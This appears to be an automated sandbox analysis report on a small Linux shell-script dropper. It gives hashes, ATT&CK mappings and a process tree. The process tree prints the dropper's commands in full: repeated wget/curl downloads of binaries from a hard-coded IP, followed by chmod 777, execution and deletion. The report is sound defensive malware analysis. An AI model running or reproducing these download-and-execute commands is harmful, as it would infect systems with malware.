fc3b52d57b500b749d687e61dd604a451db7c73558972b3881917f4dd6aed1b0

Analysis

max time kernel
6s
max time network
7s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
21/06/2026, 04:26

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General

Target
_fc3b52d57b500b749d687e61dd604a451db7c73558972b3881917f4dd6aed1b0.sh
Size 1KB
Sample260621-e2wd2sct91
SHA256 fc3b52d57b500b749d687e61dd604a451db7c73558972b3881917f4dd6aed1b0
MD5 daa74756a72e52544373792172891f9f
SHA1 2f9ae38c4e340735f298227162d5eb3799de3bb1
SHA512 13343e5c86988789bb1d336d578d10e53bd489e6ea78dc5b7a97ccd3b90f2292a580fbcf151a84a5dd1a589f07273d5f74070425dc7fe232b8ad357805d5bcdb
TLSH
T17D3130CF51106A391303CADD7766358CB40CC6FB2D9BDBE5ED080EEA864858D7262BD8
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
766	chmod
773	chmod
679	chmod
686	chmod
746	chmod
792	chmod
814	chmod
824	chmod
672	chmod
698	chmod
719	chmod
759	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/e92983	673	_fc3b52d57b500b749d687e61dd604a451db7c73558972b3881917f4dd6aed1b0.sh
/tmp/ba5bd4	680	_fc3b52d57b500b749d687e61dd604a451db7c73558972b3881917f4dd6aed1b0.sh
/tmp/eb055e	687	_fc3b52d57b500b749d687e61dd604a451db7c73558972b3881917f4dd6aed1b0.sh
/tmp/a978ce	699	_fc3b52d57b500b749d687e61dd604a451db7c73558972b3881917f4dd6aed1b0.sh
/tmp/ab2e91	721	_fc3b52d57b500b749d687e61dd604a451db7c73558972b3881917f4dd6aed1b0.sh
/tmp/59faac	748	_fc3b52d57b500b749d687e61dd604a451db7c73558972b3881917f4dd6aed1b0.sh
/tmp/b3193e	760	_fc3b52d57b500b749d687e61dd604a451db7c73558972b3881917f4dd6aed1b0.sh
/tmp/26ebb5	767	_fc3b52d57b500b749d687e61dd604a451db7c73558972b3881917f4dd6aed1b0.sh
/tmp/172827	774	_fc3b52d57b500b749d687e61dd604a451db7c73558972b3881917f4dd6aed1b0.sh
/tmp/43741c	793	_fc3b52d57b500b749d687e61dd604a451db7c73558972b3881917f4dd6aed1b0.sh
/tmp/66e576	816	_fc3b52d57b500b749d687e61dd604a451db7c73558972b3881917f4dd6aed1b0.sh
/tmp/2545dc	825	_fc3b52d57b500b749d687e61dd604a451db7c73558972b3881917f4dd6aed1b0.sh

Checks CPU configuration 1 TTPs 12 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 24 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ba5bd4	curl
File opened for modification	/tmp/eb055e	curl
File opened for modification	/tmp/ab2e91	curl
File opened for modification	/tmp/b3193e	curl
File opened for modification	/tmp/43741c	curl
File opened for modification	/tmp/66e576	curl
File opened for modification	/tmp/2545dc	curl
File opened for modification	/tmp/e92983	curl
File opened for modification	/tmp/a978ce	curl
File opened for modification	/tmp/59faac	curl
File opened for modification	/tmp/26ebb5	curl
File opened for modification	/tmp/172827	curl

/tmp/_fc3b52d57b500b749d687e61dd604a451db7c73558972b3881917f4dd6aed1b0.sh
/tmp/_fc3b52d57b500b749d687e61dd604a451db7c73558972b3881917f4dd6aed1b0.sh
1⤵
- Executes dropped EXE
PID:644
- /usr/bin/wget
  wget http://5.182.210.61/e92983
  2⤵
  PID:652
- /usr/bin/curl
  curl -O http://5.182.210.61/e92983
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:664
- /bin/chmod
  chmod 777 e92983
  2⤵
  - File and Directory Permissions Modification
  PID:672
- /tmp/e92983
  ./e92983 bc
  2⤵
  PID:673
- /bin/rm
  rm -rf e92983
  2⤵
  PID:675
- /bin/rm
  rm -rf e92983.1
  2⤵
  PID:676
- /usr/bin/wget
  wget http://5.182.210.61/ba5bd4
  2⤵
  PID:677
- /usr/bin/curl
  curl -O http://5.182.210.61/ba5bd4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:678
- /bin/chmod
  chmod 777 ba5bd4
  2⤵
  - File and Directory Permissions Modification
  PID:679
- /tmp/ba5bd4
  ./ba5bd4 bc
  2⤵
  PID:680
- /bin/rm
  rm -rf ba5bd4
  2⤵
  PID:682
- /bin/rm
  rm -rf ba5bd4.1
  2⤵
  PID:683
- /usr/bin/wget
  wget http://5.182.210.61/eb055e
  2⤵
  PID:684
- /usr/bin/curl
  curl -O http://5.182.210.61/eb055e
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:685
- /bin/chmod
  chmod 777 eb055e
  2⤵
  - File and Directory Permissions Modification
  PID:686
- /tmp/eb055e
  ./eb055e bc
  2⤵
  PID:687
- /bin/rm
  rm -rf eb055e
  2⤵
  PID:689
- /bin/rm
  rm -rf eb055e.1
  2⤵
  PID:690
- /usr/bin/wget
  wget http://5.182.210.61/a978ce
  2⤵
  PID:691
- /usr/bin/curl
  curl -O http://5.182.210.61/a978ce
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:692
- /bin/chmod
  chmod 777 a978ce
  2⤵
  - File and Directory Permissions Modification
  PID:698
- /tmp/a978ce
  ./a978ce bc
  2⤵
  PID:699
- /bin/rm
  rm -rf a978ce
  2⤵
  PID:702
- /bin/rm
  rm -rf a978ce.1
  2⤵
  PID:703
- /usr/bin/wget
  wget http://5.182.210.61/ab2e91
  2⤵
  PID:705
- /usr/bin/curl
  curl -O http://5.182.210.61/ab2e91
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:711
- /bin/chmod
  chmod 777 ab2e91
  2⤵
  - File and Directory Permissions Modification
  PID:719
- /tmp/ab2e91
  ./ab2e91 bc
  2⤵
  PID:721
- /bin/rm
  rm -rf ab2e91
  2⤵
  PID:724
- /bin/rm
  rm -rf ab2e91.1
  2⤵
  PID:726
- /usr/bin/wget
  wget http://5.182.210.61/59faac
  2⤵
  PID:727
- /usr/bin/curl
  curl -O http://5.182.210.61/59faac
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:734
- /bin/chmod
  chmod 777 59faac
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/59faac
  ./59faac bc
  2⤵
  PID:748
- /bin/rm
  rm -rf 59faac
  2⤵
  PID:750
- /bin/rm
  rm -rf 59faac.1
  2⤵
  PID:752
- /usr/bin/wget
  wget http://5.182.210.61/b3193e
  2⤵
  PID:755
- /usr/bin/curl
  curl -O http://5.182.210.61/b3193e
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:757
- /bin/chmod
  chmod 777 b3193e
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/b3193e
  ./b3193e bc
  2⤵
  PID:760
- /bin/rm
  rm -rf b3193e
  2⤵
  PID:762
- /bin/rm
  rm -rf b3193e.1
  2⤵
  PID:763
- /usr/bin/wget
  wget http://5.182.210.61/26ebb5
  2⤵
  PID:764
- /usr/bin/curl
  curl -O http://5.182.210.61/26ebb5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:765
- /bin/chmod
  chmod 777 26ebb5
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /tmp/26ebb5
  ./26ebb5 bc
  2⤵
  PID:767
- /bin/rm
  rm -rf 26ebb5
  2⤵
  PID:769
- /bin/rm
  rm -rf 26ebb5.1
  2⤵
  PID:770
- /usr/bin/wget
  wget http://5.182.210.61/172827
  2⤵
  PID:771
- /usr/bin/curl
  curl -O http://5.182.210.61/172827
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:772
- /bin/chmod
  chmod 777 172827
  2⤵
  - File and Directory Permissions Modification
  PID:773
- /tmp/172827
  ./172827 bc
  2⤵
  PID:774
- /bin/rm
  rm -rf 172827
  2⤵
  PID:776
- /bin/rm
  rm -rf 172827.1
  2⤵
  PID:777
- /usr/bin/wget
  wget http://5.182.210.61/43741c
  2⤵
  PID:778
- /usr/bin/curl
  curl -O http://5.182.210.61/43741c
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:784
- /bin/chmod
  chmod 777 43741c
  2⤵
  - File and Directory Permissions Modification
  PID:792
- /tmp/43741c
  ./43741c bc
  2⤵
  PID:793
- /bin/rm
  rm -rf 43741c
  2⤵
  PID:796
- /bin/rm
  rm -rf 43741c.1
  2⤵
  PID:798
- /usr/bin/wget
  wget http://5.182.210.61/66e576
  2⤵
  PID:799
- /usr/bin/curl
  curl -O http://5.182.210.61/66e576
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:806
- /bin/chmod
  chmod 777 66e576
  2⤵
  - File and Directory Permissions Modification
  PID:814
- /tmp/66e576
  ./66e576 bc
  2⤵
  PID:816
- /bin/rm
  rm -rf 66e576
  2⤵
  PID:818
- /bin/rm
  rm -rf 66e576.1
  2⤵
  PID:820
- /usr/bin/wget
  wget http://5.182.210.61/2545dc
  2⤵
  PID:822
- /usr/bin/curl
  curl -O http://5.182.210.61/2545dc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:823
- /bin/chmod
  chmod 777 2545dc
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/2545dc
  ./2545dc bc
  2⤵
  PID:825
- /bin/rm
  rm -rf 2545dc
  2⤵
  PID:827
- /bin/rm
  rm -rf 2545dc.1
  2⤵
  PID:828

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

e92983

Path /tmp/e92983
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads